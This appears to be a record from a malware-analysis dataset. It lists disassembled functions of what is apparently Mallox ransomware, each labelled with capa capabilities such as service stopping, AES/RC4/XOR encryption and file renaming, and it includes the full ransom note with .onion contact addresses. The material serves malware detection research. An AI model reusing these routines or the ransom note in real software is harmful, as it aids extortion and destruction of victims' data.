joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005c80
Capabilities:
Move file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rsi
lea rbp, [r11 - 0x5f]
sub rsp, 0xe8
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov eax, dword [rcx + 0x798]
mov rsi, rcx
test eax, eax
je 0x140005ebf
movups xmm1, xmmword [rsi + 0x4d8]
mov dword [rbp - 0x35], eax
xor ecx, ecx
mov rax, qword [rsi + 0x450]
xorps xmm0, xmm0
movaps xmmword [rbp - 9], xmm0
xor r9d, r9d
movaps xmmword [rbp + 7], xmm0
movaps xmmword [rbp + 0x17], xmm0
movups xmm0, xmmword [rsi + 0x4c8]
mov qword [rbp + 0x27], rcx
mov qword [rbp - 0x31], rax
mov rax, qword [rsi + 0x790]
movaps xmmword [rbp - 0x19], xmm1
movups xmm1, xmmword [rsi + 0x518]
mov dword [rbp - 0x39], 0x1020102
movaps xmmword [rbp - 0x29], xmm0
movsd xmm0, qword [rsi + 0x4e8]
movsd qword [rbp - 9], xmm0
movups xmmword [rbp - 1], xmm1
mov rcx, qword [rax + 0x18]
mov qword [r11 + 0x10], rbx
xor ebx, ebx
mov qword [r11 - 0x18], r14
mov edx, ebx
mov qword [r11 + 0x18], rdi
movups xmm0, xmmword [rcx]
lea r8d, [rbx + 2]
movups xmmword [rbp + 0xf], xmm0
movups xmm1, xmmword [rcx + 0x10]
mov rcx, rsi
mov dword [rbp + 0x2f], 0x3040304
movups xmmword [rbp + 0x1f], xmm1
call fcn.1400227d0
cmp qword [rsi + 0x440], 0xffffffffffffffff
je 0x140005db2
mov edi, ebx
mov rcx, qword [rsi + 0x440]
lea r9, [rbp - 0x41]
mov r8d, 0x6c
mov qword [rsp + 0x20], rbx
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140005db2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rsi + 0x420]
cmp qword [r8 + 0x18], 7
jbe 0x140005d8e
mov r8, qword [r8]
mov r9d, eax
lea rdx, str._s:_WriteFile_code:__lu
mov rcx, rsi
call fcn.140021e10
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x32
jl 0x140005d53
mov rcx, qword [rsi + 0x440]
cmp rcx, 0xffffffffffffffff
je 0x140005dd0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsi + 0x440], 0xffffffffffffffff
mov rdx, qword [rsi + 0x790]
lea rcx, [rbp - 0x61]
mov rdx, qword [rdx]
call fcn.140005f50
mov rcx, qword [rbp - 0x49]
mov r14, qword [rbp - 0x51]
mov rax, rcx
sub rax, r14
cmp rax, 8
jb 0x140005e2a
cmp rcx, 7
lea rax, [r14 + 8]
lea rdi, [rbp - 0x61]
mov qword [rbp - 0x51], rax
cmova rdi, qword [rbp - 0x61]
lea rdx, str..rmallox
mov r8d, 0x10
lea rcx, [rdi + r14*2]
call fcn.140051150
mov word [rdi + r14*2 + 0x10], bx
jmp 0x140005e4d
movzx r8d, byte [rbp - 0x69]
lea r9, str..rmallox
mov edx, 8
mov qword [rsp + 0x20], 8
lea rcx, [rbp - 0x61]
call fcn.140006050
mov rcx, qword [rsi + 0x790]
lea rdx, [rbp - 0x61]
cmp qword [rbp - 0x49], 7
cmova rdx, qword [rbp - 0x61]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov rdx, qword [rbp - 0x49]
mov r14, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x110]
mov rbx, qword [rsp + 0x108]
cmp rdx, 7
jbe 0x140005ebf
mov rcx, qword [rbp - 0x61]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ed5
call fcn.14002c5f0
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0xe8
pop rsi
pop rbp
ret
call fcn.1400395bc
int3
Function at 0x1400075f0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbx
push r12
sub rsp, 0x78
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x1400795c8], 0
lea r12, [0x140079600]
mov qword [r11 + 0x10], rbp
mov rbp, rcx
jne 0x1400076ec
mov qword [r11 + 0x18], rsi
lea rcx, [0x140076300]
mov qword [r11 - 0x18], r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.1400070b0
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
mov qword [rsp + 0xa8], rdi
movsxd rsi, eax
lea r14, str.Hello_r_n_r_nYour_data_has_been_stolen_and_encrypted_r_nWe_will_delete_the_stolen_data_and_help_with_the_recovery_of_encrypted_files_after_payment_has_been_made_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nWe_provide_free_decryption_for_any_3_files_up_to_3MB_in_size_on_our_website_r_n_r_nHow_to_contact_with_us:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_chat__payment_information_and_we_can_make_free_test_decryption_here_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_n
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx + r14]
mov r9d, ebx
add r9, r12
mov byte [r9], r8b
cmp r8b, 0x7b
jne 0x1400076b8
lea eax, [rcx + 1]
cmp byte [rax + r14], 0x69
jne 0x1400076b8
lea eax, [rcx + 2]
cmp byte [rax + r14], 0x64
jne 0x1400076b8
lea edi, [rcx + 3]
cmp byte [rdi + r14], 0x7d
jne 0x1400076b8
mov r8, rsi
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.140051150
dec ebx
mov ecx, edi
add ebx, esi
inc ebx
inc ecx
cmp ecx, 0x37a
jb 0x140007670
mov r14, qword [rsp + 0x70]
lea rcx, [0x140076300]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov dword [0x1400795c8], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, qword [rsp + 0x98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007755
mov r8d, dword [0x1400795c8]
lea r9, [rsp + 0x40]
mov rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0x78
pop r12
pop rbx
ret
Function at 0x140014c10
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
mov r11, rsp
push rbx
push rdi
sub rsp, 0xa8
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x98], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x140014df9
mov qword [r11 + 0x18], rbp
xor ebp, ebp
mov dword [rsp + 0x68], ebp
mov qword [r11 - 0x18], rsi
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp qword [rbx + 0x18], 7
mov rsi, rax
jbe 0x140014c5f
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x60], rax
mov rbx, rax
test rax, rax
je 0x140014de9
mov qword [rsp + 0x50], rbp
mov edx, 0xffffffff
mov qword [rsp + 0x48], rbp
mov r9d, edx
mov qword [rsp + 0x40], rbp
mov r8d, 4
mov qword [rsp + 0x38], rbp
mov rcx, rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140014de0
mov eax, dword [rsp + 0x74]
cmp eax, 1
je 0x140014de0
cmp eax, 3
jne 0x140014d5c
nop word [rax + rax]
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140014de0
cmp dword [rsp + 0x74], 1
je 0x140014de0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x140014de0
cmp dword [rsp + 0x74], 3
je 0x140014d00
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140014e70
mov rbx, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140014de0
cmp dword [rsp + 0x74], 1
je 0x140014de0
nop dword [rax]
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140014de0
cmp dword [rsp + 0x74], 1
je 0x140014de0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rdx
ja 0x140014de0
cmp dword [rsp + 0x74], 1
jne 0x140014d90
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbp, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0xa8
pop rdi
pop rbx
ret

Function at 0x140014e20
Capabilities:
Modify service

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor ecx, ecx
mov rax, rdx
mov qword [r11 - 0x18], rcx
mov edx, 0xffffffff
mov qword [r11 - 0x20], rcx
mov r9d, edx
mov qword [r11 - 0x28], rcx
mov qword [r11 - 0x30], rcx
lea r8d, [rcx + 4]
mov qword [r11 - 0x38], rcx
mov qword [r11 - 0x40], rcx
mov qword [r11 - 0x48], rcx
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
add rsp, 0x68
ret
Function at 0x140015800
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor r10d, r10d
mov r11, rcx
test r9, r9
je 0x140015964
cmp r9, 8
jb 0x14001593d
lea rcx, [r9 - 1]
lea rax, [r8 - 1]
add rcx, r11
add rax, r9
cmp r11, rax
ja 0x140015839
cmp rcx, r8
jae 0x14001593d
lea rax, [rdx - 1]
add rax, r9
cmp r11, rax
ja 0x14001584e
cmp rcx, rdx
jae 0x14001593d
mov rcx, rdx
mov qword [rsp + 0x10], rbx
sub rcx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x1400158f7
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, r11
lea rax, [r8 + 0x10]
sub rbx, r8
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r10, 0x40
movdqu xmm1, xmmword [rcx + rax - 0x10]
movdqu xmm2, xmmword [rcx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rcx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rcx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r10, rsi
jb 0x140015890
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x14001592f
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, r11
lea rax, [r10 + r8]
sub rdi, r8
nop dword [rax + rax]
movq xmm1, qword [rcx + rax]
add r10, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r10, rbx
jb 0x140015910
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r10, r9
jae 0x140015964
sub rdx, r8
lea rax, [r10 + r8]
sub r11, r8
sub r9, r10
nop word [rax + rax]
movzx ecx, byte [rax + rdx]
xor cl, byte [rax]
mov byte [rax + r11], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x140015950
add rsp, 8
ret
Function at 0x140015970
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov rdi, rcx
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call fcn.140016af0
test eax, eax
jne 0x140015b0e
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x140077164], eax
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x140015a3c
mov eax, 1
mov dword [0x140077164], 1
xor ecx, ecx
cpuid
mov dword [0x140077370], eax
mov dword [0x140077374], ebx
mov dword [0x140077378], ecx
mov dword [0x14007737c], edx
mov dword [0x140077168], ecx
jmp 0x140015a42
mov ecx, dword [0x140077168]
test cl, 2
jne 0x140015b07
mov qword [rdi + 0xe0], 0
mov qword [rdi + 0x60], 0
mov ebx, 4
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x140015a63
mov r10d, 2
mov ebx, r10d
nop
mov r8, qword [rdi + rbx*8 + 0xe0]
mov r9, qword [rdi + rbx*8 + 0x60]
cmp rbx, 1
jle 0x140015af8
lea rax, [rdi + 0x68]
lea rdx, [rbx - 1]
nop dword [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [rax + rbx*8 + 0x80], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [rax + rbx*8 - 8], rcx
sub rdx, 1
jne 0x140015ad0
lea eax, [r10 + r10]
add rbx, rbx
mov r10d, eax
cmp eax, 8
jle 0x140015ab0
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0x50
pop rdi
ret
Function at 0x1400172f0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm1, xmmword [rdx]
aeskeygenassist xmm0, xmm1, 1
pshufd xmm3, xmm0, 0xff
xorps xmm3, xmm1
movups xmmword [rcx], xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
aeskeygenassist xmm0, xmm3, 2
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x10], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x20], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x30], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x40], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x50], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x60], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
movdqa xmm3, xmm2
xorps xmm0, xmm1
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x70], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x80], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x90], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm1, xmm3
xorps xmm1, xmm0
pslldq xmm3, 4
xorps xmm1, xmm3
movdqu xmmword [rcx + 0xa0], xmm1
ret
Function at 0x14001e510
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x14001e54a
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x14001e580
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140021140
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, r9
mov rbp, r8
mov esi, edx
mov rdi, rcx
cmp edx, 1
jbe 0x14002116f
mov eax, 0xffffffdf
jmp 0x140021295
mov ecx, 0x2000000
mov qword [rsp + 0x30], rbx
call fcn.140016f70
test eax, eax
je 0x140021197
mov rcx, rdi
shr rcx, 2
and ecx, 3
je 0x140021197
mov eax, 4
sub eax, ecx
jmp 0x140021199
xor eax, eax
mov rcx, qword [rdi + 8]
mov ebx, eax
cmp rbx, rcx
je 0x1400211c7
mov eax, dword [rdi]
add rcx, 4
inc eax
shl eax, 4
movsxd r8, eax
lea rdx, [rdi + rcx*4]
lea rcx, [rdi + 0x10]
lea rcx, [rcx + rbx*4]
call fcn.140051150
mov qword [rdi + 8], rbx
cmp dword [0x140077164], 0
jne 0x140021203
mov eax, 1
mov dword [0x140077164], 1
xor ecx, ecx
cpuid
mov dword [0x140077370], eax
mov dword [0x140077374], ebx
mov dword [0x140077378], ecx
mov dword [0x14007737c], edx
mov dword [0x140077168], ecx
jmp 0x140021209
mov ecx, dword [0x140077168]
mov rbx, qword [rsp + 0x30]
bt ecx, 0x19
jae 0x14002127b
mov rax, qword [rdi + 8]
movups xmm0, xmmword [rbp]
mov ecx, dword [rdi]
lea rax, [rdi + rax*4]
dec ecx
xorps xmm0, xmmword [rax + 0x10]
add rax, 0x20
test esi, esi
jne 0x14002125b
test ecx, ecx
je 0x14002124e
nop dword [rax]
nop dword [rax + rax]
aesdec xmm0, xmmword [rax]
add rax, 0x10
add ecx, 0xffffffff
jne 0x140021240
aesdeclast xmm0, xmmword [rax]
movups xmmword [r14], xmm0
xor eax, eax
jmp 0x140021295
test ecx, ecx
je 0x14002126e
nop
aesenc xmm0, xmmword [rax]
add rax, 0x10
add ecx, 0xffffffff
jne 0x140021260
aesenclast xmm0, xmmword [rax]
movups xmmword [r14], xmm0
xor eax, eax
jmp 0x140021295
mov r8, r14
mov rdx, rbp
mov rcx, rdi
cmp esi, 1
jne 0x140021290
call fcn.140020590
jmp 0x140021295
call fcn.140020b60
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400224e0
Capabilities:
Get file size
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov rbp, rdx
mov rbx, rcx
mov byte [rcx + 8], 1
xor r14d, r14d
mov dword [rcx + 0x41c], r14d
mov byte [rcx + 8], 1
add rcx, 0xa
xor edx, edx
mov r8d, 0x410
call fcn.140050d90
lea rax, vtable.FileWrapper.0
mov qword [rbx], rax
lea rdi, [rbx + 0x420]
mov rdx, rbp
mov rcx, rdi
call fcn.140005f50
nop
mov qword [rbx + 0x440], 0xffffffffffffffff
mov dword [rbx + 0x448], 1
mov qword [rbx + 0x450], r14
mov qword [rbx + 0x458], r14
mov esi, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x10000080
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 0x440], rax
cmp rax, 0xffffffffffffffff
jne 0x140022647
call qword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 5
je 0x1400225d2
sub eax, 0x1b
je 0x1400225b2
cmp eax, 1
jne 0x14002261b
mov dword [rbx + 0x448], 3
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x1400225c9
mov r8, qword [rdi]
lea rdx, str.In_use_another_process:__s
jmp 0x140022606
mov edx, 0x80
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbp
call fcn.140023210
mov dword [rbx + 0x448], 2
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x1400225ff
mov r8, qword [rdi]
lea rdx, str.No_permission:__s
mov rcx, rbx
call fcn.140005610
inc esi
cmp esi, 2
jl 0x140022563
jmp 0x140022663
lea r8, [rbx + 0x420]
cmp qword [r8 + 0x18], 7
jbe 0x14002262c
mov r8, qword [r8]
lea rdx, str.Cant_open:__s
mov rcx, rbx
call fcn.140005610
mov dword [rbx + 0x448], 1
jmp 0x140022663
mov dword [rbx + 0x448], r14d
mov byte [rbx + 8], 1
lea rcx, [rbx + 0xa]
xor edx, edx
mov r8d, 0x410
call fcn.140050d90
cmp dword [rbx + 0x448], 0
jne 0x140022681
lea rdx, [rbx + 0x450]
mov rcx, qword [rbx + 0x440]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
nop
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140022fd0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rsi, [rcx + 0x340]
mov rbx, rcx
mov rcx, rsi
xor edx, edx
mov r8d, 0x158
call fcn.140050d90
xor edi, edi
lea rcx, [rbx + 0x20]
mov dword [rbx + 0x498], edi
xor edx, edx
mov r8d, 0x320
mov dword [rbx + 0x1c], edi
call fcn.140050d90
xor eax, eax
mov dword [rbx + 0x18], edi
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x1c]
cmp eax, 0x14
jge 0x140023070
lea rcx, [rax + rax*4]
lea rax, [0x140024c70]
mov qword [rbx + rcx*8 + 0x28], rdi
mov qword [rbx + rcx*8 + 0x20], rax
mov qword [rbx + rcx*8 + 0x38], 0x20
mov dword [rbx + rcx*8 + 0x40], 1
inc dword [rbx + 0x1c]
xor edx, edx
mov r8d, 0x158
mov rcx, rsi
call fcn.140050d90
xor edx, edx
lea rcx, [rsi + 0x28]
mov r8d, 0x120
call fcn.140050d90
mov r9d, 2
mov dword [rsi + 0x10], 0xffffffff
mov dword [rsi + 0x20], 0x2710
lea rdx, [rsp + 0x40]
xor ecx, ecx
mov dword [rbx + 0x354], 1
lea r8d, [r9 + 0x62]
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov dword [rbx + 0x498], eax
test eax, eax
jns 0x1400230d9
mov dword [rbx + 0x498], 1
jmp 0x140023159
lea rax, [0x140023e00]
mov qword [rsi + 0x150], rbx
xorps xmm0, xmm0
mov qword [rsi + 0x148], rax
mov rax, qword [rsi + 0x18]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
test rax, rax
jne 0x14002310d
mov eax, 0x30
mov qword [rsi + 0x18], rax
movsxd rcx, dword [rsi + 0x10]
test ecx, ecx
js 0x14002311a
mov rdi, rcx
jmp 0x140023127
cmp rax, 0x30
jae 0x140023127
lea rdi, [rax + 1]
shr rdi, 1
mov r8d, 0x100
lea rdx, [rsp + 0x20]
lea rcx, [rsi + 0x28]
call fcn.14001f8a0
test eax, eax
jne 0x140023153
mov r9, rdi
lea r8d, [rax + 0x64]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140024920
mov dword [rbx + 0x498], eax
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14002c2f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret